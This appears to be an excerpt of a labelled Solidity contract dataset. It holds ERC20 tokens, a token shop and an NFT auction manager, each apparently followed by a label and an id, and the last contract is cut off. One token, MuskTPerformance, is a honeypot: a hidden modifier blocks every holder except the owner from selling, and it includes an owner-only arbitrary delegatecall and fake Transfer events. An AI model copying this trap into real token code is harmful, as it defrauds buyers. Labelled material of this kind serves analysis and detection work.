ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract PlatinumToken is Ownable, ERC20 { using SafeMath for uint256; string public version = "0.0.1"; string public name; string public symbol; uint256 public decimals; address public platinum; mapping (address => mapping (address => uint256)) allowed; mapping(address => uint256) balances; uint256 public totalSupply; uint256 public fee = 10; function PlatinumToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balances[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } event Transfer(address indexed from, address indexed to, uint256 value); modifier isPlatinumContract() { require(platinum != 0x0); require(msg.sender == platinum); _; } modifier isOwnerOrPlatinumContract() { require(msg.sender != address(0) && (msg.sender == platinum || msg.sender == owner)); _; } function produce(uint256 amount) isPlatinumContract returns (bool) { balances[owner] = balances[owner].add(amount); totalSupply = totalSupply.add(amount); return true; } function reduce(uint256 amount) isPlatinumContract returns (bool) { require(balances[owner].sub(amount) >= 0); require(totalSupply.sub(amount) >= 0); balances[owner] = balances[owner].sub(amount); totalSupply = totalSupply.sub(amount); return true; } function setPlatinumAddress(address _address) onlyOwner returns (bool) { require(_address != 0x0); platinum = _address; return true; } function setFee(uint256 _fee) onlyOwner returns (bool) { require(_fee >= 0); fee = _fee; return true; } function transfer(address _to, uint256 _value) onlyOwner returns (bool) { balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(owner, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) isOwnerOrPlatinumContract returns (bool) { var _allowance = allowed[_from][owner]; uint256 valueSubFee = _value.sub(fee); balances[_to] = balances[_to].add(valueSubFee); balances[_from] = balances[_from].sub(_value); balances[owner] = balances[owner].add(fee); allowed[_from][owner] = _allowance.sub(_value); return true; } function approve(address _dummy, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][owner] == 0)); allowed[msg.sender][owner] = _value; Approval(msg.sender, owner, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1
2,955
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MuskTPerformance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,207
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Object is StandardToken, Ownable { string public name; string public symbol; uint8 public constant decimals = 18; bool public mintingFinished = false; event Burn(address indexed burner, uint value); event Mint(address indexed to, uint amount); event MintFinished(); modifier canMint() { require(!mintingFinished); _; } function Object(string _name, string _symbol) public { name = _name; symbol = _symbol; } function burn(uint _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } function mint(address _to, uint _amount) onlyOwner canMint public returns(bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns(bool) { mintingFinished = true; MintFinished(); return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value % (1 ether) == 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } } contract Shop is Ownable { using SafeMath for *; struct ShopSettings { address bank; uint32 startTime; uint32 endTime; uint fundsRaised; uint rate; uint price; } Object public object; ShopSettings public shopSettings; modifier onlyValidPurchase() { require(msg.value % shopSettings.price == 0); require((now >= shopSettings.startTime && now <= shopSettings.endTime) && msg.value != 0); _; } modifier whenClosed() { require(now > shopSettings.endTime); _; } modifier whenOpen() { require(now < shopSettings.endTime); _; } modifier onlyValidAddress(address _bank) { require(_bank != address(0)); _; } modifier onlyOne() { require(calculateTokens() == 1 ether); _; } modifier onlyBuyer(address _beneficiary) { require(_beneficiary == msg.sender); _; } event ShopClosed(uint32 date); event ObjectPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount); function () external payable { buyObject(msg.sender); } function Shop(address _bank, string _name, string _symbol, uint _rate, uint32 _endTime) onlyValidAddress(_bank) public { require(_rate >= 0); require(_endTime > now); shopSettings = ShopSettings(_bank, uint32(now), _endTime, 0, _rate, 0); calculatePrice(); object = new Object(_name, _symbol); } function buyObject(address _beneficiary) onlyValidPurchase onlyBuyer(_beneficiary) onlyValidAddress(_beneficiary) public payable { uint numTokens = calculateTokens(); shopSettings.fundsRaised = shopSettings.fundsRaised.add(msg.value); object.mint(_beneficiary, numTokens); ObjectPurchase(msg.sender, _beneficiary, msg.value, numTokens); forwardFunds(); } function calculateTokens() internal returns(uint) { calculatePrice(); return msg.value.mul(1 ether).div(1 ether.mul(1 ether).div(shopSettings.rate)); } function calculatePrice() internal returns(uint) { shopSettings.price = (1 ether).mul(1 ether).div(shopSettings.rate); } function closeShop() onlyOwner whenOpen public { shopSettings.endTime = uint32(now); ShopClosed(uint32(now)); } function forwardFunds() internal { shopSettings.bank.transfer(msg.value); } }
1
3,826
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } } contract OperationalControl { event ContractUpgrade(address newContract); address public gameManagerPrimary; address public gameManagerSecondary; address public bankManager; bool public paused = false; modifier onlyGameManager() { require(msg.sender == gameManagerPrimary || msg.sender == gameManagerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier anyOperator() { require( msg.sender == gameManagerPrimary || msg.sender == gameManagerSecondary || msg.sender == bankManager ); _; } function setPrimaryGameManager(address _newGM) external onlyGameManager { require(_newGM != address(0)); gameManagerPrimary = _newGM; } function setSecondaryGameManager(address _newGM) external onlyGameManager { require(_newGM != address(0)); gameManagerSecondary = _newGM; } function setBanker(address _newBK) external onlyBanker { require(_newBK != address(0)); bankManager = _newBK; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() external onlyGameManager whenNotPaused { paused = true; } function unpause() public onlyGameManager whenPaused { paused = false; } } contract MLBNFT { function exists(uint256 _tokenId) public view returns (bool _exists); function ownerOf(uint256 _tokenId) public view returns (address _owner); function approve(address _to, uint256 _tokenId) public; function setApprovalForAll(address _to, bool _approved) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function createPromoCollectible(uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external returns (uint256); function createSeedCollectible(uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) public returns (uint256); function checkIsAttached(uint256 _tokenId) public view returns (uint256); function getTeamId(uint256 _tokenId) external view returns (uint256); function getPlayerId(uint256 _tokenId) external view returns (uint256 playerId); function getApproved(uint256 _tokenId) public view returns (address _operator); function isApprovedForAll(address _owner, address _operator) public view returns (bool); } contract ERC721Receiver { bytes4 public constant ERC721_RECEIVED = 0x150b7a02; function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received(address,address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } contract SaleBase is OperationalControl, ERC721Holder { using SafeMath for uint256; event SaleCreated(uint256 tokenID, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt); event TeamSaleCreated(uint256[9] tokenIDs, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt); event SaleWinner(uint256 tokenID, uint256 totalPrice, address winner); event TeamSaleWinner(uint256[9] tokenIDs, uint256 totalPrice, address winner); event SaleCancelled(uint256 tokenID, address sellerAddress); event EtherWithdrawed(uint256 value); struct Sale { address seller; uint256 startingPrice; uint256 endingPrice; uint256 duration; uint256 startedAt; uint256[9] tokenIds; } MLBNFT public nonFungibleContract; uint256 public ownerCut = 500; mapping (uint256 => Sale) tokenIdToSale; function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } function _escrow(address _owner, uint256 _tokenId) internal { nonFungibleContract.safeTransferFrom(_owner, this, _tokenId); } function _transfer(address _owner, address _receiver, uint256 _tokenId) internal { nonFungibleContract.transferFrom(_owner, _receiver, _tokenId); } function _addSale(uint256 _tokenId, Sale _sale) internal { require(_sale.duration >= 1 minutes); tokenIdToSale[_tokenId] = _sale; emit SaleCreated( uint256(_tokenId), uint256(_sale.startingPrice), uint256(_sale.endingPrice), uint256(_sale.duration), uint256(_sale.startedAt) ); } function _addTeamSale(uint256[9] _tokenIds, Sale _sale) internal { require(_sale.duration >= 1 minutes); for(uint ii = 0; ii < 9; ii++) { require(_tokenIds[ii] != 0); require(nonFungibleContract.exists(_tokenIds[ii])); tokenIdToSale[_tokenIds[ii]] = _sale; } emit TeamSaleCreated( _tokenIds, uint256(_sale.startingPrice), uint256(_sale.endingPrice), uint256(_sale.duration), uint256(_sale.startedAt) ); } function _cancelSale(uint256 _tokenId, address _seller) internal { Sale memory saleItem = tokenIdToSale[_tokenId]; if(saleItem.tokenIds[1] != 0) { for(uint ii = 0; ii < 9; ii++) { _removeSale(saleItem.tokenIds[ii]); _transfer(address(this), _seller, saleItem.tokenIds[ii]); } emit SaleCancelled(_tokenId, _seller); } else { _removeSale(_tokenId); _transfer(address(this), _seller, _tokenId); emit SaleCancelled(_tokenId, _seller); } } function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { Sale storage _sale = tokenIdToSale[_tokenId]; uint256[9] memory tokenIdsStore = tokenIdToSale[_tokenId].tokenIds; require(_isOnSale(_sale)); uint256 price = _currentPrice(_sale); require(_bidAmount >= price); address seller = _sale.seller; if(tokenIdsStore[1] > 0) { for(uint ii = 0; ii < 9; ii++) { _removeSale(tokenIdsStore[ii]); } } else { _removeSale(_tokenId); } if (price > 0) { uint256 marketsCut = _computeCut(price); uint256 sellerProceeds = price.sub(marketsCut); seller.transfer(sellerProceeds); } uint256 bidExcess = _bidAmount.sub(price); msg.sender.transfer(bidExcess); if(tokenIdsStore[1] > 0) { emit TeamSaleWinner(tokenIdsStore, price, msg.sender); } else { emit SaleWinner(_tokenId, price, msg.sender); } return price; } function _removeSale(uint256 _tokenId) internal { delete tokenIdToSale[_tokenId]; } function _isOnSale(Sale memory _sale) internal pure returns (bool) { return (_sale.startedAt > 0); } function _currentPrice(Sale memory _sale) internal view returns (uint256) { uint256 secondsPassed = 0; if (now > _sale.startedAt) { secondsPassed = now - _sale.startedAt; } return _computeCurrentPrice( _sale.startingPrice, _sale.endingPrice, _sale.duration, secondsPassed ); } function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { if (_secondsPassed >= _duration) { return _endingPrice; } else { int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _computeCut(uint256 _price) internal view returns (uint256) { return _price.mul(ownerCut.div(10000)); } } contract SaleManager is SaleBase { mapping (uint256 => uint256[3]) public lastTeamSalePrices; mapping (uint256 => uint256) public lastSingleSalePrices; mapping (uint256 => uint256) public seedTeamSaleCount; uint256 public seedSingleSaleCount = 0; uint256 public constant SINGLE_SALE_MULTIPLIER = 35; uint256 public constant TEAM_SALE_MULTIPLIER = 12; uint256 public constant STARTING_PRICE = 10 finney; uint256 public constant SALES_DURATION = 1 days; bool public isBatchSupported = true; constructor() public { require(ownerCut <= 10000); require(msg.sender != address(0)); paused = true; gameManagerPrimary = msg.sender; gameManagerSecondary = msg.sender; bankManager = msg.sender; } function unpause() public onlyGameManager whenPaused { require(nonFungibleContract != address(0)); super.unpause(); } function _withdrawBalance() internal { bankManager.transfer(address(this).balance); } function() external payable { address nftAddress = address(nonFungibleContract); require( msg.sender == address(this) || msg.sender == gameManagerPrimary || msg.sender == gameManagerSecondary || msg.sender == bankManager || msg.sender == nftAddress ); } function _createSale( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) internal { Sale memory sale = Sale( _seller, _startingPrice, _endingPrice, _duration, now, [_tokenId,0,0,0,0,0,0,0,0] ); _addSale(_tokenId, sale); } function _createTeamSale( uint256[9] _tokenIds, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller) internal { Sale memory sale = Sale( _seller, _startingPrice, _endingPrice, _duration, now, _tokenIds ); _addTeamSale(_tokenIds, sale); } function cancelSale(uint256 _tokenId) external whenNotPaused { Sale memory sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); address seller = sale.seller; require(msg.sender == seller); _cancelSale(_tokenId, seller); } function cancelSaleWhenPaused(uint256 _tokenId) external whenPaused onlyGameManager { Sale memory sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); address seller = sale.seller; _cancelSale(_tokenId, seller); } function getSale(uint256 _tokenId) external view returns (address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, uint256[9] tokenIds) { Sale memory sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); return ( sale.seller, sale.startingPrice, sale.endingPrice, sale.duration, sale.startedAt, sale.tokenIds ); } function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Sale memory sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); return _currentPrice(sale); } function _averageSalePrice(uint256 _saleType, uint256 _teamId) internal view returns (uint256) { uint256 _price = 0; if(_saleType == 0) { for(uint256 ii = 0; ii < 10; ii++) { _price = _price.add(lastSingleSalePrices[ii]); } _price = (_price.div(10)).mul(SINGLE_SALE_MULTIPLIER.div(10)); } else { for (uint256 i = 0; i < 3; i++) { _price = _price.add(lastTeamSalePrices[_teamId][i]); } _price = (_price.div(3)).mul(TEAM_SALE_MULTIPLIER.div(10)); _price = _price.mul(9); } return _price; } function createSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _owner) external whenNotPaused { require(msg.sender == address(nonFungibleContract)); require(nonFungibleContract.checkIsAttached(_tokenId) == 0); _escrow(_owner, _tokenId); _createSale( _tokenId, _startingPrice, _endingPrice, _duration, _owner ); } function userCreateSaleIfApproved (uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration) external whenNotPaused { require(nonFungibleContract.getApproved(_tokenId) == address(this) || nonFungibleContract.isApprovedForAll(msg.sender, address(this))); require(nonFungibleContract.checkIsAttached(_tokenId) == 0); _escrow(msg.sender, _tokenId); _createSale( _tokenId, _startingPrice, _endingPrice, _duration, msg.sender ); } function withdrawSaleManagerBalances() public onlyBanker { _withdrawBalance(); } function setOwnerCut(uint256 _newCut) external onlyBanker { require(_newCut <= 10000); ownerCut = _newCut; } function createSingleSeedAuction( uint8 _teamId, uint8 _posId, uint256 _attributes, uint256 _playerOverrideId, uint256 _mlbPlayerId, uint256 _startPrice, uint256 _endPrice, uint256 _saleDuration) public onlyGameManager whenNotPaused { require(nonFungibleContract != address(0)); require(_teamId != 0); uint256 nftId = nonFungibleContract.createSeedCollectible(_teamId,_posId,_attributes,address(this),0, _playerOverrideId, _mlbPlayerId); uint256 startPrice = 0; uint256 endPrice = 0; uint256 duration = 0; if(_startPrice == 0) { startPrice = _computeNextSeedPrice(0, _teamId); } else { startPrice = _startPrice; } if(_endPrice != 0) { endPrice = _endPrice; } else { endPrice = 0; } if(_saleDuration == 0) { duration = SALES_DURATION; } else { duration = _saleDuration; } _createSale( nftId, startPrice, endPrice, duration, address(this) ); } function createPromoSeedAuction( uint8 _teamId, uint8 _posId, uint256 _attributes, uint256 _playerOverrideId, uint256 _mlbPlayerId, uint256 _startPrice, uint256 _endPrice, uint256 _saleDuration) public onlyGameManager whenNotPaused { require(nonFungibleContract != address(0)); require(_teamId != 0); uint256 nftId = nonFungibleContract.createPromoCollectible(_teamId, _posId, _attributes, address(this), 0, _playerOverrideId, _mlbPlayerId); uint256 startPrice = 0; uint256 endPrice = 0; uint256 duration = 0; if(_startPrice == 0) { startPrice = _computeNextSeedPrice(0, _teamId); } else { startPrice = _startPrice; } if(_endPrice != 0) { endPrice = _endPrice; } else { endPrice = 0; } if(_saleDuration == 0) { duration = SALES_DURATION; } else { duration = _saleDuration; } _createSale( nftId, startPrice, endPrice, duration, address(this) ); } function createTeamSaleAuction( uint8 _teamId, uint256[9] _tokenIds, uint256 _startPrice, uint256 _endPrice, uint256 _saleDuration) public onlyGameManager whenNotPaused { require(_teamId != 0); for(uint ii = 0; ii < _tokenIds.length; ii++){ require(nonFungibleContract.getTeamId(_tokenIds[ii]) == _teamId); } uint256 startPrice = 0; uint256 endPrice = 0; uint256 duration = 0; if(_startPrice == 0) { startPrice = _computeNextSeedPrice(1, _teamId).mul(9); } else { startPrice = _startPrice; } if(_endPrice != 0) { endPrice = _endPrice; } else { endPrice = 0; } if(_saleDuration == 0) { duration = SALES_DURATION; } else { duration = _saleDuration; } _createTeamSale( _tokenIds, startPrice, endPrice, duration, address(this) ); } function _computeNextSeedPrice(uint256 _saleType, uint256 _teamId) internal view returns (uint256) { uint256 nextPrice = _averageSalePrice(_saleType, _teamId); require(nextPrice == nextPrice); if (nextPrice < STARTING_PRICE) { nextPrice = STARTING_PRICE; } return nextPrice; } bool public isSalesManager = true; function bid(uint256 _tokenId) public whenNotPaused payable { Sale memory sale = tokenIdToSale[_tokenId]; address seller = sale.seller; uint256 price = _bid(_tokenId, msg.value); if(sale.tokenIds[1] > 0) { for (uint256 i = 0; i < 9; i++) { _transfer(address(this), msg.sender, sale.tokenIds[i]); } price = price.div(9); } else { _transfer(address(this), msg.sender, _tokenId); } if (seller == address(this)) { if(sale.tokenIds[1] > 0){ uint256 _teamId = nonFungibleContract.getTeamId(_tokenId); lastTeamSalePrices[_teamId][seedTeamSaleCount[_teamId] % 3] = price; seedTeamSaleCount[_teamId]++; } else { lastSingleSalePrices[seedSingleSaleCount % 10] = price; seedSingleSaleCount++; } } } function setNFTContractAddress(address _nftAddress) public onlyGameManager { require (_nftAddress != address(0)); nonFungibleContract = MLBNFT(_nftAddress); } function assetTransfer(address _to, uint256 _tokenId) public onlyGameManager { require(_tokenId != 0); nonFungibleContract.transferFrom(address(this), _to, _tokenId); } function batchAssetTransfer(address _to, uint256[] _tokenIds) public onlyGameManager { require(isBatchSupported); require (_tokenIds.length > 0); for(uint i = 0; i < _tokenIds.length; i++){ require(_tokenIds[i] != 0); nonFungibleContract.transferFrom(address(this), _to, _tokenIds[i]); } } function createSeedTeam(uint8 _teamId, uint256[9] _attributes, uint256[9] _mlbPlayerId) public onlyGameManager whenNotPaused { require(_teamId != 0); for(uint ii = 0; ii < 9; ii++) { nonFungibleContract.createSeedCollectible(_teamId, uint8(ii.add(1)), _attributes[ii], address(this), 0, 0, _mlbPlayerId[ii]); } } function batchCancelSale(uint256[] _tokenIds) external whenNotPaused { require(isBatchSupported); require(_tokenIds.length > 0); for(uint ii = 0; ii < _tokenIds.length; ii++){ Sale memory sale = tokenIdToSale[_tokenIds[ii]]; require(_isOnSale(sale)); address seller = sale.seller; require(msg.sender == seller); _cancelSale(_tokenIds[ii], seller); } } function updateBatchSupport(bool _flag) public onlyGameManager { isBatchSupported = _flag; } function batchCreateSingleSeedAuction( uint8[] _teamIds, uint8[] _posIds, uint256[] _attributes, uint256[] _playerOverrideIds, uint256[] _mlbPlayerIds, uint256 _startPrice) public onlyGameManager whenNotPaused { require (isBatchSupported); require (_teamIds.length > 0 && _posIds.length > 0 && _attributes.length > 0 && _playerOverrideIds.length > 0 && _mlbPlayerIds.length > 0 ); require(nonFungibleContract != address(0)); uint256 nftId; require (_startPrice != 0); for(uint ii = 0; ii < _mlbPlayerIds.length; ii++){ require(_teamIds[ii] != 0); nftId = nonFungibleContract.createSeedCollectible( _teamIds[ii], _posIds[ii], _attributes[ii], address(this), 0, _playerOverrideIds[ii], _mlbPlayerIds[ii]); 